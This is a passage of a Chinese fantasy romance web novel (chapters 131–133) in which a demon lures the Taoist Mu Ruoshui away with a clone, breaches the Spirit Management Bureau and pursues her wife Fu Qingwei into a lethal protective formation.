傅清微不知道该生气前一句背着她交过手,还是该担心后一句伯仲之间。 观主纵横天下,灵管局的岁主任她说能杀一百次,第一次对一个魔有这么高的评价。 她话里不明说,实际就是很危险。 穆若水想了想,说:“我不会死。” 不代表她不会受伤,或者有更严重的后果。 傅清微含泪道:“你觉得我会满意这个答案吗?” 穆若水改口:“我会赢。” 活着回来见她,度过漫长的以后,这是她毕生所愿,所以她一定会赢。 事已至此,傅清微再说其他的也无用,她一定要去,非她不可。 不是为了灵管局和天下太平,只是为了她们俩能过上平凡的生活。 只是这一点点小小的心愿,竟然要拿命去赌。 穆若水握着她的手按在自己怀里,温和地道:“此行凶险,我恐怕无法护你周全,所以我想让你去灵管局总局,那里会有人保护你。等一切结束后,我再去找你。这样安排可以吗?” “可以。” 傅清微意志消沉,她又有什么反驳的余地呢?她只会拖师尊后腿。 要不是因为她,她也不用去冒险。 “如果你从现在开始不爱我,是不是就不会有软肋了?”傅清微不知不觉把心里的话说出了口。 “可是我醒过来第一眼看到你,就注定你是我妻子。” 第132章 穆若水最深沉动人的情话总是伴随危机出现。 如果可以选择, 傅清微宁愿不听到这些,也不想她们的感情常常面临存亡攸关之际。 她来到蓬莱观前想过平凡的一生,和穆若水在一起后想要平静的生活。 天总不遂人愿。 古沙西寨之上, 危机重重。灵管局的技术侦查手段只能在外围查探, 无人机飞到里面失去了信号, 魔气浓郁的地方磁场紊乱,仅凭科技难以推进, 必须安插探子, 深入摸清对方的底细。 为免打草惊蛇,派出的人不能是一般人, 岁已寒提前带人赶到古沙苗寨, 方便部署计划,几波人包括岁已寒都曾在深夜亲自潜入调查。 第一个难题是地势,三面环山一面邻水, 易守难攻, 但凡放跑一个想再抓到难上加难,正式进攻需要增派更多的人手,采取盯人战术, 确保没有漏网之鱼。 第二是对面的实力始终无法有直接的估量,人魔有别,人类无法在西寨久待,气息会被辨别出来。好在它们之中有不少是妖怪化形, 被魔气同化后入魔的人又样貌异于常人,平日戴着兜帽遮掩容貌。 山下把守的几乎都是魔气侵蚀的人, 越往上越是妖魔的领地, 实力由弱到强。岁已寒偷袭了一个守卫,换上了对方的衣物, 趁着换班的间隙溜上了山。 复杂的地形也给了她可趁之机,岁已寒机警地避开妖魔的驻守,离开领地后一片寂静,反常的没有遇到任何阻碍。 无人把守,连个巡逻的魔都不见。 岁已寒却不敢掉以轻心,往自己身上贴了张隐匿气息的符,谨慎地往深山里去。 将近天明时分,她才在淡青色的黎明里见到了穆若水口中的木屋。 周围静悄悄的。 岁已寒毫不犹豫掉头就走,寻了另一条路迅速下山。 慈让真人提过,此魔的实力与她在伯仲之间,岁已寒单打独斗没有胜算,久了还会暴露踪迹,走为上计。 岁已寒刚离开,她所在的地方便出现了一团黑雾,十米之内生机瞬间凋零,一片焦土。 黑雾重聚,组成斗篷女人的身形,她轻轻地咦了一声。 西边挂着淡白的月亮,女人兜帽下的唇角缓慢地扬起来。 岁已寒回到山下,凭记忆绘制出通往木屋的路径,结合先前潜入的几批人提供的信息,地形和妖魔的部署有了详细的资料和图像,做了3D建模,一目了然。 灵管局正在加紧调派人手,唯恐夜长梦多。魔族之乱迫在眉睫,她们早一日行动,世间就能早一日太平,少几个无辜枉死的冤魂。 探查进展及时同步给穆若水,请她不日前往古沙苗寨。 出发前,穆若水亲自将傅清微送到了灵管总局。 局里专门给她收拾了一间房,供傅清微这段时间的居住,直到一切真正风平浪静。 她们再度重聚。 穆若水的航班在下午,两人争分夺秒地待到了三点。 穆若水抚了抚她环着自己的胳膊,示意自己要走了。傅清微紧紧抓着穆若水肩膀的布料,窝在她的怀里不肯出来。 近段时日她总是心神不宁,越是临近分开她不详的预感越强烈。 “你不要去好不好?”她好怕等不到她。 穆若水低头亲吻她的额头。 她也不想去,可世间的很多事,不是想不想,而是没得选。 万般皆是命,半点不由人。 穆若水温柔道:“我会尽快回来。我还答应你,肯定会活着平安见你。这样好吗?” 傅清微抿唇,一反常态:“我不要。” 穆若水并不恼怒,反而柔声细语地哄着她。 门外有人敲门。 “穆顾问,我们该出发了。” “很快。” 穆若水解下自己腰间随身的玉佩,放到傅清微手上,说:“这是我醒来时就在棺材里的,成婚时也未来得及与你交换信物,这块玉给你。如果想我了,你就拿出来看一看。” “可是我也没给你信物……” 穆若水打断她,轻轻一笑,道:“你的信物我回来找你取,这段时间你就专心想想送我什么吧。” 傅清微指节收紧了那块玉,说:“好吧。” “我走啦。” 穆若水凝视着她的眼睛。 傅清微喉咙艰涩地挤出一个字:“好。” 穆若水抬起手,站起身眼睛看着她慢慢往后退。 女人的衣袖从自己手掌中一点一点滑走,带走了最后一丝体温。 她转身向外走去。 房门从里面打开,灵管局的人正在门口等着。 “穆顾问,我们走吧。” “嗯。” 一股前所未有的危机感抓住了傅清微的心脏,她脱口唤了一句: “师尊!” 穆若水回过头,朝她绽出一个笑容。 那个笑容傅清微记了很多很多年。 她记得她是如何毫不犹豫,在自己叫住她的同时回头,似乎早就在等待这么一声。她的眼睛弯弯的,眉毛也弯弯的,却并不显得过分灿烂,而是始终带着几分清冷温柔,像是有温度的月光。 还有当日她离去的背影,一并印在她的脑海。 从此再不能遗忘。 房门从外面轻轻地关上了。 穆若水走后,傅清微的灵魂一并像是抽干了似的,心脏空空荡荡,呆呆地坐在房里。 良久,她摸了摸腕上的佛珠。 摊开掌心看着静静躺着的圆形黄玉。 穆若水醒来后身上总共就这两样东西,都给了傅清微。 如同她的全部。 * 古沙苗寨。 穆若水在第二日清晨才赶到,给傅清微报了个平安。 山里信号不好,视频打不通,好久才收到傅清微发过来的小视频。小三花主角出镜,傅清微只在最后镜头一转,抱着猫露了个脸,眼睛看向她,什么话也没说,思念却溢出屏幕。 明明她们才分开一夜。 穆若水归心似箭,把视频保存下来,大步进了岁已寒驻扎的屋子。 岁已寒正在开会制定计划,见到她便是一喜,说:“见过慈让真人。” 大大小小的中高层济济一堂,“穆顾问”的问候声接二连三响起,穆若水找了个位置坐下,看着面前屏幕上放大的3D建模,地形清晰了然。 轮到穆若水这一环时,岁已寒在屏幕上重点标出一条红色的路线图,是通往木屋的最短路径,也是大魔头的栖身之处。 “一切就拜托真人了。” 穆若水颔首。 “什么时候行动?” “今晚还有几位同事赶到,明天天亮行动。” 岁已寒本来考虑过夜袭,出其不意攻其不备,但是对魔族来说夜间视力比人类强得多,也更容易藏身脱逃,后续局势对灵管局不利,还是白天,视野开阔些好。 “我们打算兵分两路,一路绕后突袭,一路正面强攻。正面由我带队,为真人开路。” “就照你说的办。” 穆若水起身离开了会议室。 * 翌日天明。 驻守在山下的人魔首先遭到袭击,一道剑光伴随着雷电出现,劈中了人魔的身体,身首异处,断面焦黑。 岁已寒持剑的白袍身影出现在最前方:“走!” 灵管局众人纷纷跟上,符箓、火修、剑道各显神通,在岁已寒的带领下所向披靡。 一道青袍身影穿过所有人,飞也似的向山上疾速掠去。 黑熊精从天而降,砰的一声砸落在穆若水面前,地面跟着猛烈地震了几下,阻住了她的去路。 黑熊精足有两个穆若水高,被魔气侵染的眼睛发红,熊掌不断地凶猛拍击地面,试图将这个看似人族的小虫子碾死在掌下。 黑熊体型庞大,亦不输灵活。 上山的路径狭窄,穆若水不愿舍近而绕远,一掌朝黑熊精打了过去,掌力穿透厚重的身躯,透背而过。 吃痛的兽吼惊天动地,然而黑熊精是纯正的修炼多年的熊妖,肉身之强悍只比飞僵差一些,皮糙肉厚更抗揍,即便受了伤并未倒地,而是狂怒之后又扑了上来。 穆若水不想切换形态,她要留着全力对付最后的人。 她身形向后飘出数丈,接着一个蹬地冲向黑熊精,抬脚正中黑熊胸口,一脚将它踹出三四米,坐倒在地。 穆若水转头往山上奔去,黑熊精在身后紧追不舍。 这时一道符箓正中黑熊精的后背,爆出一团白中泛紫的火焰,黑熊精通红的眼睛转回来盯住袭击它的人类。 “茅山谷和韵,不吝赐教。” 一手持符一手持剑的中年坤道说。 穆若水刚飞起来,天空一声唳叫,俯首冲下来数只红眼鹰妖,道行不高,甚至谈不上真正的妖魔。是被注入魔气后驱使的动物,常年被魔气滋养,也有几分妖的法力。 雌鹰的领域是天空,穆若水御空的能力是后天物种赐予的,怎么比得上空中天生的王者。 它们在空中盘旋,俯冲,一击不中再次展翅高飞寻找机会,给她上山之路制造出许多麻烦。 鹰妖虽伤不了她,但穆若水也拿它们没有太多办法,双拳难敌四十手,杀了几只,效果不明显。 有人在台阶上张弓搭箭,箭矢如流星,一只鹰妖应弦而落。 穆若水的左边出现小小的空档。 嗡的一声弦震,三支箭矢同时射出,化作寒芒三点,穆若水左前方三只鹰妖凄叫坠落,彻底空了出来。 她的身形从缺口掠了出去。 “穆顾问,我来为你断后!” 鹰妖的唳鸣也被甩在身后。 半山腰响起爆炸声,绕背偷袭的那组人到达计划点位。 黑雾流窜,遮天蔽日,剑光如白日总能在其中破开一道缝隙,更多的魔气扑过来,符火爆燃的火舌吞噬,席卷其中的魔气嘶声哀嚎。 穆若水头也不回地穿过混战的半山腰,继续往上。 一个“人”拦在她的必经之路上。 那与其说是一个人,不如说是一只半人半妖。 人类的面容和身躯,脸上爬满了青色,额头长了一对小小的角,很容易让人联想到某种神秘强大的神话生物。 穆若水神挡杀神,佛挡杀佛。 管它是龙还是魔,谁也不能阻挡她的去路。 她运气于掌,双手同时攻了上去。青面女和她对了一招,掌风带过附近的草叶倒伏,她的脚下纹丝不动。 穆若水皱了皱眉。 不管它是个什么,实力远在飞僵之上,接近麻天德炼的那个小女孩。 如果她想保留实力战胜她,恐怕要费上一番功夫。 速战速决。 穆若水瞳仁里红光闪过。 正在这时,由远及近响起轰隆的闷雷声,头顶浓云翻滚,电光在云层里如同银蛇缠绕,似乎在酝酿一场浩大的天罚。 “真人!”岁已寒提剑出现在不远处,说,“速去,这里交给我。” 穆若水立即离开现场。 跑晚了这雷就该劈她头上了。 青面女欲追击,剑光如白虹贯日横贯在她的面前,她青色的瞳孔里映出数道天雷的紫光。 山顶之下都被雷电的光芒照亮,山顶之上却只有穆若水一个人疾奔的身影,所经处风声呼啸,空无一人,她已经离木屋不远了。 木屋出现在了她的视野里,斗篷女人正在门口等她。 她戴着大大的黑色兜帽,阴影里下颌线弧度柔美,唇角似笑非笑。 “我说过,下次见面,就是你的死期。” 穆若水的眼珠飞速变红,身影凭空出现在数米之外的斗篷女人面前,五指向她抓去的同时长发尽数褪成雪白。 斗篷女人却原地消失,再次露面在木屋的房顶上,悠然道:“可我不是想与你拼个你死我……” 她骤然停顿,斗篷女人的身形及时化作黑雾,下一秒一只手从她背后穿出来,穆若水出现在她身后,黑雾在她几步开外重新凝聚。 斗篷女人忙道:“我需要你的帮助。” 穆若水蓦然停了手,紧紧地盯住她。 斗篷女人商量的口吻道:“我们来做个交易。” 话音刚落,穆若水出手迅疾如电,衣袖翻飞如青鹤,全力攻了上来。 斗篷女人急速退后,并不与她正面交锋。 “你和我没有利益冲突。”她边躲边说着。 不对劲。 穆若水说不上哪里不对劲,脑海里有一根弦在绷紧着提醒她:离开这里,快回去。 回到傅清微的身边。 她有问题。 她越和斗篷女人缠斗心里越不安,在抓准时机屈指成爪撕碎她身上几缕魔气时,对方身形竟然倒退了几步,吐出一口鲜血。 穆若水从袖子里抽出几张金色符箓,一口气掷到斗篷女人的身上。 大火轰然拔地而起,将斗篷女人的身影裹挟其中,黑雾在符火中扭曲哀嚎,竟然就这样消散了。 以穆若水第一次和她交手的了解,不可能解决得这么容易。 除非……这根本不是她! 中计了! 那她会去哪儿? 穆若水微微一震,神情剧变。 傅清微! * 岁已寒持剑引雷,天雷诛邪无往而不利,树木焦黑,满目疮痍,而一道身影在天雷之间隐现,极快地腾挪于树木与树木之间,烧起连绵滚滚的山火。 青面女张口一吐,火势迎风见长,火舌朝岁已寒吞噬过来。 岁已寒只好停止引雷,长剑一挥,林中应势卷起一条火龙向青面女咆哮而去,威光赫赫,染红了半边树林。 青面女侧身避开火龙一掌打在她的肩膀,龙回头咬中她的后心,雷霆电光在青色皮肤游走。 岁已寒嘴角溢出鲜血。 瞬息不停地掷出符箓,再度引雷。 青面女中了几道天雷,但她是在龙脉修行的鹿妖,得几分天道垂青,伤害并不致命。 岁已寒受的伤并不比她轻。 她的掌心微微一颤,握紧了手里的长剑,锐目望向鹿妖。 今日生死之战在所难免。 正在此时,穆若水的身影从山上飞掠下来。 岁已寒喜不自胜:“真人赢了?” 穆若水脸色难看:“赢了。” 岁已寒:“?” 赢了怎么这副表情? 穆若水先帮她除掉了鹿妖,拎起岁已寒飞下去,说:“上面只是她的一个分身,我们中计了。” 灵管局的这次计划十分顺利,除了最后一环,超出了所有人尤其是穆、岁二人的意料。 魔头竟然跑了,穆若水扑了个空。 她是临时决定逃掉,还是蓄谋已久的调虎离山? 如果是后者,后果不堪设想。 半山腰和山脚的形势向好,穆若水出手杀了几只难缠的妖魔,胜利的天平提前偏向了灵管局。 岁已寒转移了指挥权,提前从战场离开,和穆若水一起赶回灵管总局。 岁已寒和局里通了电话,回复她说:“没有异常。” 穆若水也打通了傅清微的手机,傅清微惊喜道:“结束了?” 穆若水不知道怎么和她说,嗯了一声,道:“我马上就回去了,你留在总局不要出来。” 傅清微:“好,我一步也不会踏出去的。” 傅清微:“对了,师尊,我发现局里很适合练剑,我每天都去蹭免费结界。” 穆若水笑了笑,始终不能完全松懈:“乖乖等我。” “好,晚点见。” 挂断电话时,穆若水还听到她情不自禁地说了一句“好开心啊”,穆若水跟着唇角上扬。 穆若水和岁已寒一起登上了返程的直升机。 穆若水按着自己的手腕脉搏,她没有脉搏,但是血液紧张过快的流速制造出急剧跳动的错觉,躁动不安到极点。 她的心脏几乎要在这种令人窒息的压力之中重新收缩。 岁已寒安慰她说:“灵管局有真人亲手布置的防护阵法,邱老也亲自在总局镇守,就算正面遇到魔头,也足够争取时间了。傅清微不会有事的。” 穆若水一向不喜客套,竟认真地回了她一句:“借你吉言。” 希望真的是吉言。 下了直升机,穆若水又立刻给傅清微打电话,手机却打不通了。 “您拨打的电话暂时无人接听,请稍后再拨……” 穆若水抬起微红的眼珠,盯着岁已寒,连眼圈都一并红了。岁已寒的心跳顿时漏了一拍,一面让她稍安勿躁,一面拨打总局电话。 “对不起,您拨打的电话暂时无人接听,请稍后再拨……” 岁已寒又拨给了邱月白。 自动挂断后的忙音让她霎时手脚冰凉。 穆若水双眼紧闭,靠着自己和傅清微的感应来一遍又一遍确认她的平安。 只要她们的联系还在,傅清微就活着。 只要她活着,一切就可以挽回。 她只要傅清微活着,不顾一切地要她活着。 灵管局的车在停机坪不远处,岁已寒疾奔过去,说:“快上车!” 一道身影比她更快地掠过了她,女人却突然在车门前踉跄了一步,跪倒在地,伸手抓向自己早已不会跳动的心脏。 她单膝跪在地面,躬下身来,死死地按在心口,喉咙涌上腥甜,一口鲜血吐了出来。 她们的联系断了。 她感应不到她了。 傅清微……死了。 第133章 红线也消失了。 在她手腕若隐若现的, 从她醒来就一直跟着她的,限制她也促成她和傅清微结缘的禁制红线,随着傅清微的离开, 一并从她体内消失不见。 傅清微这个人, 真的存在过吗? 还是她在棺材里漫长的沉睡中, 臆想出来的一场幻梦。 可是她手心不断溅上去的眼泪是什么? 穆若水的心脏已经不痛了,怔怔地看着自己摊开在面前的双手。 陌生的泪水从她眼眶里不断溢出来。 岁已寒扶起地上的穆若水, 和她一道上了车, 黑色的SUV朝着灵管局的路飞驰而去。 短短几分钟的路程,岁已寒把最坏的结果都想了一遍, 眼前一片黑暗。 傅清微为什么会在总局出事?守门的保安大爷是阁皂派的宗门长老, 岁已寒的大师兄,论实力并不在岁已寒之下,没有人可以悄无声息地越过他进入灵管局。 更别提防护大阵以及镇守总局的邱老, 请神上身后实力全开的邱月白, 连岁已寒都难撄其锋,只能退而避之,所以岁已寒才让她坐镇, 还应了她一个要求。 就算穆若水亲自到场,她也有信心能拖延时间,保证傅清微的安全。 难道那个魔头比慈让真人还厉害? 岁已寒冷静地想了一圈,依旧没明白哪里出了破绽。 快到灵管局时, 她接到了局里的电话,是先前联络的总局办事员打来的, 能恢复通讯说明灵管局已控制住了局面。 岁已寒迫不及待:“出什么事了?” 办事员喘着气, 语速飞快地说了一段话:“古道长死了,防护大阵破了, 邱老受伤,傅清微她……” 岁已寒急忙:“她怎么了?” 穆若水猛地扭头盯向她,眼珠鲜红。 办事员轻颤的声音从听筒里传出来,并不大,四个字,足够车厢里的两个人听清。 岁已寒:“真人!” 穆若水绯色如血的眸子盯着她,右手如钩闪电般出手,狭小的空间内岁已寒避无可避,被她掐住了咽喉。 穆若水五指往回收,没有了红线禁制,血液里的本能完全觉醒,眼眸流露出妖异嗜血的红光。 与魔无异。 她偏了偏头,唇角竟然挑起一丝玩味的笑容。 紧接着她右手猛地一用力。 就在脖子要被当场扭断的千钧一发之际,岁已寒抽出一张符箓拍在了穆若水的手上。 占英曾用她的符箓对付过飞僵,威力在岁已寒手里何止百倍千倍的提升,然而蕴含雷霆之力的符箓,强烈的雷光蹿过女人的手指,不过让她的动作顿了片刻。 岁已寒抓住时机大喊了一声:“活要见人死要见尸!” 穆若水仍然掐着她的脖子,只是不再用力。 岁已寒终于可以说话,连忙道:“她或许没有死,只是失踪了!” 穆若水明白不是的,天地之间她感应不到她了。即使有秘术和结界可以屏蔽她们之间的灵魂感应,红线也不会消失,只有设下禁制的人彻底不在人世,才会如此。 可她到底还是存了一丝希望,松开岁已寒的喉咙,一言不发。 * 鹤市。 下午四点。 灵管局门口,保安大爷古道长正调了一支小曲,挂着一只耳机听着,周围的风吹草动都在他另一只耳朵里。 他面前停下一双脚,女士鞋,三十年前的老样式。 古道长抬起头,面前的女人撩下兜帽,露出及肩的亚麻色卷发,和一双湛蓝色的眼睛。 古道长做梦似的揉了揉眼睛,老眼泛红:“折枝?” “折枝”说:“是我。” 折枝和古道长岁数相仿,当年他们是同一批考入灵管局的年轻骨干,一起并肩作战出生入死,后来分别升往不同的部门,战友情也没有淡。 折枝故去三十年,古道长每年都会去拜祭她。 古道长:“你还活着,有没有告诉月白?” “折枝”说:“我正要去找她,有劳师兄将印给我一下。” 古道长心里有很多问题,“折枝”凝视他的眼睛,深蓝色的瞳仁颜色更深,闪过冰冷魅惑的幽蓝。 一秒,两秒,五秒,十秒。 古道长方才怀疑的问题瞬间想不起来了,他伸手摸向自己的衣兜,嘴里问了唯一记得的一个:“折枝,你的容貌为什么没有变化?” “因为……” 古道长的胸口骤然一痛。 “你……” 女人突然靠近他的耳边,悠然道:“我不是折枝啊。” 古道长嘴角溢血:“……月白会伤心的。” “折枝”哂笑:“人类都这么无聊吗?” 自己都要死了还操心别人。 她推着古道长的尸体坐回了椅子里,从他攥紧的手里拿了印,走入了灵管局的大门。 据说这个阵可以检测魔气,可是对人类的身躯有什么办法呢? “折枝”收敛了所有气息,堂而皇之地踏了进去,看见了灵管局的真容。 和记忆里相比,有些遥远和陌生。 她当年吞噬了折枝之后,和她融为一体,继承了她的身体和全部记忆。只是折枝的灵魂实在顽固,和她争夺身体的控制权。她花了将近三十年时间,才一点一点地消灭了对方的意识。 偶尔还是会有莫名其妙的感慨浮上来,像个人类,比如现在。 “折枝”神情鄙夷地从灵管局大楼收回视线,大楼空无一人,平时出外勤加上岁已寒带走了大批人手,“折枝”好半天才找到一个人,看着对方的眼睛问:“傅清微在哪儿?” 那个人仿佛被蛊惑似的,面向她吐出了答案。 “折枝”走后,对方继续忙手里的活,完全不记得刚才发生了什么。 傅清微正在灵管局的免费结界里练剑。 未知的等待让人心慌,傅清微只要一静下来脑子里都是不好的假设,有时还会出现画面,她几乎一天到晚待在结界。 不久前穆若水给她打了个电话,说她正在回来的路上。 傅清微欣喜若狂,跑到门口等她,一分一秒都漫长无比,她干脆回了结界,只要她把一套剑法完整地练习两次,穆若水就会出现在她面前。 傅清微练了一套半,结界从外面打开了,走进来一个青袍落拓的女人。 “师尊!”傅清微回头,露出喜出望外的笑容。 她挥剑入鞘,冲女人跑过来,说:“你怎么提前回来啦?” “穆若水”伸手将她拥入怀里,在她看不见的角度邪异地勾起唇角,说:“为师想给你一个惊喜。” 傅清微双手抱住她的腰,仰脸说:“你可以给我打个电话的,这样我就能多开心一会儿了。” “下次一定。” “还是不要有下次了。” 傅清微一点都不想再次体验担惊受怕的感觉。 “穆若水”从容调整好自己的表情,牵起傅清微的手,说:“我们回家吧。” 傅清微和她十指相扣,甜甜一笑:“好。” 两人手牵着手从结界出来,走出东边的一栋楼,身后传来邱月白骤然提高的声音:“傅清微,你和谁在一起!” 傅清微奇怪道:“我和我师……” 邱月白喝道:“还不快醒来!” 她这一声里有类似少林狮子吼的秘术,耳膜仿佛被一把重锤鼓噪,傅清微只觉灵台一震,不敢相信地往身边看去。 哪里是她心心念念的师尊,明明是一个一身漆黑穿着斗篷的女人。 邱月白:“她是妖魔!你中了幻术,还不快过来?!” 傅清微头也不回地拔腿朝邱月白跑去。 她的心脏都要从喉咙跳出来,惊魂甫定地躲在邱月白身后。 妖魔是怎么混入灵管局的? 如果她今日被魔族带走,后果不堪设想。 “折枝”没有阻拦她,不是她忘了,而是她狂妄,有能力再抓她一次,易如反掌。 邱月白目视着斗篷女人:“你好大的胆子!竟敢擅闯灵管局!” 邱月白眼珠逐渐变白,二话不说请神上身。 斗篷女人抬手一撩,放下了自己的兜帽。 “好久不见,月白。” 傅清微站在邱月白后面,都能明显地看到她身躯狠狠一震,险些当场站立不稳。 傅清微伸手扶了邱月白一把,听见她口中吐出一个颤抖的名字:“折枝?” “是我,你过得还好吗?” “我、我过得……不太好。”邱月白泪如雨下。 邱老怎么会和妖魔是旧相识? 傅清微刚浮起这个疑问,就见斗篷女人飞身而起,用力一掌打在了邱月白左肩。 兔起鹘落之间,邱月白的身形断线风筝般倒飞出去,重重砸在她们刚离开的大楼墙壁,扭头在地面吐出一大口鲜血。 “折枝……为什么……” 邱月白泪眼望她。 “你是不是怪我那天没有好好听你说话,没有好好看一看你?” “你闭嘴!” “折枝”低头看了看自己的手掌。 她明明是想杀了她的,她明明对准的是心脏,为什么会手下留情? 难道那个人的意识还没有完全消失? “折枝”的脸上惊疑不定,不舍、阴郁、爱意、愤怒,种种神情一一闪过。 “邱老!” 傅清微朝邱月白跑过去,她的肩膀袭上一只手,将她抓了过去,掠向灵管局的大门。 “折枝”将印抛到了半空中。 等她念完咒,结界就会打开,到时候要把她带去哪,只有她自己知道。 说时迟那时快,一道剑光流虹般夺目,疾射向“折枝”的咽喉。 “折枝”毫不在意地伸手去握住傅清微的剑,可是掌心触碰到剑锋的那一刻,剑下的万千妖魔亡魂倏然哀嚎,如同万鬼齐哭,继而剑身涌出的耀眼白光净化了那些怨魂,也割伤了“折枝”的手,鲜血直流。 “折枝”这才轻轻地“咦”了一声,难掩惊讶。 这把剑倒是克制魔族的神兵。 可惜,主人修为太浅,不堪一用。 “折枝”一哂,松开剑身,再度去抓傅清微逃走的身影。 眼睛一眨,傅清微不见了。 她没有往灵管局里面跑,而是一头扎进了防护阵法里,消失了踪影。 傅清微身处一片白雾中,放眼皆是茫茫。 她听不到邱老的声音,身后也不再有追踪的身影,只能听到自己空旷得产生回音的脚步声。 一步一步。 第一次来灵管局的时候,占英和她说,灵管局的防护阵法是高人所设,刚进来的时候是迷路,在没有方向的地方一直走一直走。 阵中流逝的时间和现实不同,现实几分钟,在阵中的体感可能是漫长的几天,十几天,一个月。 如果迟迟出不来,就会遇到浓雾中的凶兽,至于具体是什么,无人知晓。 不是没有人深入过阵中,而是没有人能活着出来。 傅清微宁愿死在阵里,也不愿意被妖魔抓走威胁师尊。 傅清微在白雾中走了三天,手机失去了信号,她在备忘录里写下自己给穆若水的遗言。 假如将来有一天她的白骨能被发现,也许有万分之一的机会能让她看到。 咔—— 脚下踩中了什么,是树枝断裂的声音。 怎么会有树? 傅清微抬头,一只飞行妖兽从天空俯冲下来,迅疾稳准地利喙啄在她的肩膀,叼去了一块血肉逃之夭夭。 傅清微肩膀血流如注,点了两处穴道,止血效果甚微。 她自己也是阵法师,明白这多半是幻象,于是闭目默念清心诀,她的肩膀再次被大力撞了一下,她睁开眼睛,这次是林子里的野猪妖。 黑毛野猪有一双可怖的长长獠牙,眼圈周围凶光发红。 在身体被獠牙刺穿以前,傅清微出剑了。 真作假时假亦真,虚实难辨。 傅清微的阵法造诣在这位高人面前太浅薄了,她分不清,只有出击,把一切当做真的。 一只,两只,三只,四只…… 前仆后继,无穷无尽。 傅清微身上挂满了大大小小的伤口,她的剑术在生死存亡之际有了长足的进步,相思剑每一下挥动都会凝出一片冰雪,林子里落雪纷纷,染了一层美丽的清霜。 白色的雪浸在红色的伤口里,血水从上到下地流,染遍她的衣服,宛如一身血衣。 傅清微一剑刺穿豺狼的咽喉,脑后一阵凉风,她惊险地翻身躲避,一对螳螂利刃划过她站立的地方,撕裂了空气。 花臂螳螂,而且是一次性出现了两只。 阵法的效力又加强了。 傅清微心生绝望,她体力早已透支,仍在负隅顽抗是期盼着微弱的一丝希望。 也许她能坚持到师尊赶到。 即使不能,她多活一分钟,师尊就多好受一分钟。 傅清微手臂脱力,挥出去的剑只是擦过了螳螂的镰刀,带起一串刺目的火花,镰刀朝她的眼睛刺了下来。 傅清微实在无力再抵挡,闭上了双眼。 扑嗤—— 螳螂的胸前多出了一只修长的手,将它捏死随意扔到一边,一个身材高挑的女人犹如神兵天降在她面前。 傅清微脸上的血色在见到那张脸后褪了个干净,双唇煞白。 “找到你了。”“折枝”甩了甩满手的鲜血,漫不经心地说。 傅清微力竭的身体不知从哪里再次爆发出一股力量,又一次转身冲进白雾里。 然而“折枝”辛辛苦苦入阵找到她,不可能让她再次逃了,她伸手拘住傅清微,带回到自己身边。 “折枝”的身上也伤痕累累,幸而魔气强悍,她一路走来伤势已经修复痊愈。 不过这阵法很有些诡异,生生不息,凶兽源源不绝,不可久留,否则非得活活拖死在里面不可。 “折枝”抛出那枚印悬浮在空中,口中念完了一段咒语。 白雾毫无反应。 怎么会这样? “折枝”讶然,眉头紧锁。 傅清微木然的神色露出一丝喜意。 原来这阵法既已深入,就算有口令和钥匙也出不去了。 傅清微畅快地笑出声,道:“既然如此,我们俩就一起死在这里吧。” “折枝”冷道:“区区阵法,拦得住本座?” 傅清微盘腿坐下。 她微眯着眼看“折枝”一眼,心想:本座? 难道她遇到大魔头了?如果大魔头能陪她死在这,她不仅够本还有得赚了。 谁说小蝼蚁不可以是救世主? 傅清微服用了丹药休整,有大魔头在,无需畏惧凶兽,反正大魔头不会让她死,她还要留着自己的命当筹码要挟穆若水。 好景不长。 傅清微打坐中听到了一丝清脆的裂痕声。 她霍然睁开眼睛,“折枝”的身形完全化作了黑雾,傅清微从未见过如此重的魔气,邪恶和欲望的扭曲混合物,仅仅看一眼都让她眼睛刺痛,脑海中翻滚着无数痛苦绝望,恨不得自刎而亡,或者投身黑雾之中,彻底融为一体。 数不清的黑雾涌向天空,傅清微仰起脸,看见如有实质的黑雾包裹住了天空。 白昼变黑夜。 黑雾翻涌如同一只黑色巨手,要将天空撕开一个缺口,裂痕声正是从苍穹传来。 不好!她要出去了! 傅清微作为唯一的筹码,第一个想法就是逃。 只要她逃离“折枝”身边,不让她抓到,就能拖延她出去的时间。 傅清微头也不回地朝远处奔去。 “折枝”:“……” 怎么就那么能跑??? 天空的碎裂声停下来,“折枝”重新凝聚身形飞掠过去抓住了傅清微,这次她绝不可能再让她出意外了。 “我不会杀你,你也很想和你妻子见面吧?”女人说。 傅清微沉默不语,似乎被她说得动摇了。 “我带你一起出去。” 傅清微被注入了一缕魔气,坐在地上动弹不得。 白雾里黑云翻滚,天空再次被深不见底的黑暗笼罩,傅清微的心一直沉到谷底。 她现在连自戕都做不到。 背后的剑在剑鞘里微微嗡鸣,傅清微回头小声:“相思?” 长剑回应了她。 傅清微说:“你能找到这个阵的阵眼吗?能的话能不能去帮我毁掉阵眼?” 傅清微觉得自己一定是疯了,竟然对剑说这种话。 可她实在没有别的法子了。 把希望寄托给一柄剑? 就算是一个人,是当世第一的阵法大师在这里,也未必找得到阵眼。 傅清微自嘲一笑。 相思剑铿然出鞘,傅清微眼前白芒暴涨,雪亮的剑光不仅照亮了黑暗的天空,亮如白昼,而且化作流光一点,朝某个方向疾射而去。 傅清微见过穆若水出剑,见过灵枢子出剑,都没有她亲眼所见的这一剑快。 它越来越快,耀眼的剑光瞬发而至,击碎了茫茫虚空中的阵眼,回到了傅清微背后的剑鞘中,长久地嗡鸣。 阵法里立刻地动山摇。 傅清微眼睛里也慢慢有了泪,回头夸道:“好相思。” 半空的“折枝”化形落下来,因为苍穹骤然碎裂,从天而降的凶兽一掌将她压在了身下。 这已不是傅清微先前所见的普通妖兽,而是上古四凶兽之一——穷奇。 穷奇力大无穷,吞吐御风,“折枝”的魔气再强悍,也在这种碾碎一切的力量之下受了伤,吐出一口血来。 傅清微看着她被穷奇压着打,道:“这是一个防护阵法,同时也包含一个自毁阵法,只要毁了阵眼,阵法的全部力量就会用来攻击身在阵中的人,不惜一切代价。” 傅清微在那本《阵法汇总》里见到过相关描述,死马当作活马医,没想到是真的。 现在入阵的一共就两个人,一个是“折枝”,一个是她。 就算杀不了“折枝”,至少能杀掉她自己。 “折枝”勃然大怒:“你疯了!” “折枝”被穷奇的翅膀扇得飞起来,在空中稳住身形,落地全力一拳打在了穷奇身上,皮糙肉厚的穷奇也捱不住这一下,踉跄退后。 “折枝”怒极,又是一拳砸下,穷奇节节败退,回头道:“我可以活,你却一定会死。” 傅清微也冷道:“想利用我威胁师尊打开通道,你休想!” 混沌、梼杌、饕餮都于浓雾中走了出来,上古四大凶兽滔天的威压下,傅清微几乎喘不过气。 傅清微望着张开血盆大口向自己吞来的饕餮,幽深的巨口宛如此生最后的深渊。 她冲“折枝”笑了一下,轻声说:“我死也不会让你得逞。” 她闭上了眼睛。 